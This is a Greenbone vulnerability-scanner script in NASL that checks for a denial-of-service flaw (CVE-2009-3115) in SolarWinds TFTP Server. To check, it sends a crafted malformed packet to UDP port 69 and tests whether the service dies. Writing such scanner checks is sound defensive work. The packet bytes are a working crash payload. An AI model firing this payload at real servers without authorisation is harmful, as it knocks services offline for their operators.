CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
High
EPSS
Percentile
91.2%
SolarWinds TFTP Server is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100264");
script_version("2023-10-27T16:11:32+0000");
script_tag(name:"last_modification", value:"2023-10-27 16:11:32 +0000 (Fri, 27 Oct 2023)");
script_tag(name:"creation_date", value:"2009-08-31 17:18:15 +0200 (Mon, 31 Aug 2009)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2009-3115");
script_name("SolarWinds TFTP Server Option Acknowledgement Request Denial Of Service Vulnerability");
script_category(ACT_DENIAL);
script_family("Denial of Service");
script_copyright("Copyright (C) 2009 Greenbone AG");
script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
script_require_udp_ports("Services/udp/tftp", 69);
script_mandatory_keys("tftp/detected");
script_require_keys("Host/runs_windows");
script_exclude_keys("keys/TARGET_IS_IPV6");
script_tag(name:"summary", value:"SolarWinds TFTP Server is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"impact", value:"A successful exploit may allow attackers to crash the server process,
resulting in a denial-of-service condition.");
script_tag(name:"affected", value:"SolarWinds TFTP Server 9.2.0.111 and prior versions are vulnerable.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36182");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.");
exit(0);
}
if(TARGET_IS_IPV6())
exit(0);
include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");
port = service_get_port(default:69, proto:"tftp", ipproto:"udp");
if(!tftp_alive(port:port))
exit(0);
soc = open_sock_udp(port);
if(!soc)
exit(0);
boom = raw_string(0x00,0x06,0x54,0x9d,0x68,0x21,0xde,
0x59,0x30,0x9a,0x0b,0xb5,0xd4,0x94,
0x94,0x42,0x3c,0xeb,0xc5,0xc1,0xe8,
0x7d,0x31,0x34,0xee,0xd8,0x60,0x41,
0x8f,0x92,0x25,0x9c,0x5c,0xcc,0x78,
0x6a);
send(socket:soc, data:boom);
close(soc);
if(!tftp_alive(port:port)) {
security_message(port:port, proto:"udp");
exit(0);
}
exit(99);